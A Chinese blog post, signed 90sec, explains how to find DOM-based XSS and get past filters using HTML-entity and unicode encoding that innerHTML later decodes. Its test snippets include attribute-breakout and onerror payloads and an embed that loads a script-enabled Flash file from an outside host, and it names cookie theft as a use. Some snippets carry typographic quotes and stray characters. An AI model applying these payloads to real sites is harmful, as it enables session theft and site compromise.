關於DOM xss跨站的一點點經驗之談

點評:Xss的危害各位小牛 大牛們都意識到瞭Xss開始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用….

Xss的危害各位小牛 大牛們都意識到瞭Xss開始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用….
我們一般找到的都是大多數都停留在找直接輸入輸出上,這類型的一般很容易被過濾。
隱蔽型的就是DOM xss瞭.
也就是不是直接輸出的, 
 

換句話話說,輸出內容,在源代碼裡看不到.
比如你這裡這個的話, 你右鍵,查看源代碼的話 內容都是直接可以看到的這種就是直接 輸入輸出的
這個就是直接輸出類型
對於查找DOM XSS的基本方法:
一般是這樣的, 先發一個正常的內容,
然後F12打開調試工具(火狐Firebug插件);
定位到你發的內容上,調試工具裡,有一個箭頭,可以選擇網頁裡指定的位置的.
然後看你發送的內容裡 有沒有什麼隱藏的屬性 或自定義屬性
哦 通常的情況是<a href="xxx" title="你輸入的某句話">xxxxxxx</a>
而且,“你輸入的某句話” ,你直接查看源代碼是看不到的
換句話說, <a href="xxx" title="你輸入的某句話">xxxxxxx</a> 這個 是被動態產生的
這個時候,就有潛在的問題來瞭。 如果 “你輸入的某句話” 寫為xxxxxxxxx"><img><"
會變成<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
就會插入一個HTML標簽進去瞭
但是 實際情況下," , > 都是被過濾的(到瞭這裡一般的黑友會說轉義瞭過濾瞭啊沒得突破瞭-_-我曾經也是這樣)
你輸入的某句話 寫為
xxxxxxxxx&quot;&gt;&lt;img&gt;&lt;&quot;
由於是動態產生的 最後&quot; 會自動變為" 大傢覺得很奇怪吧等下解釋
&gt;—> >
&lt; —-> <所以最後效果還是<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a> (而且很多程序員,沒有過濾& )
下面我們本地測試下

復制代碼代碼如下:
<div id=”m”>x</div>
<script>
var x=”內容”;
document.getElementById(“m”).innerHTML=x;
</script>

內容就是我們輸入的內容如<script> <iframe>各種標簽= =,這些在一般網站輸入都被過濾瞭的 對< ‘ ">等等各種轉義瞭的話,我們突破就很難.
測試一下

復制代碼代碼如下:
<script>
function test(n){
alert(n);}
</script> www.jb51.net
<img src=”1″ onerror=”test(‘gainover’)”></img>
<img src=”1″ onerror=”test(‘gainover&#x27);+function(){alert(/xx/)}()//’)”></img>&#x27

一個編碼列子再給大傢寫個列子

復制代碼代碼如下:
<div id=”y”></div>
<img id=”x” class=”audio” src=”xxxx” border=”0″ alt=”mp3;http://xsst.sinaapp.com/Xss.swf&quot;><embed src=&quot;http://xsst.sinaapp.com/Xss.swf&quot;type=&quot;application/x-shockwave-flash&quot;allowscriptaccess=&quot;always&quot;><#.mp3″></p> <script>
document.getElementById(“y”).innerHTML=document.getElementById(“x”).alt;
</script>xxx.innerHTML= yyy.

某個屬性- -成功編碼繞過("=&quot=&#39;)編碼問題不是我開發的別問我瞭-_-~!
我們還可以這樣來測試下

復制代碼代碼如下:
<div id=”m”>x</div>
<script>
var x=”\u003ciframe onload=alert(1)\u003e”;
document.getElementById(“m”).innerHTML=x;
</script>

Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8
Xss安全測試字符轉換工具:http://app.baidu.com/app/enter?appid=280383
作者 90sec

Leave a Reply

Your email address will not be published. Required fields are marked *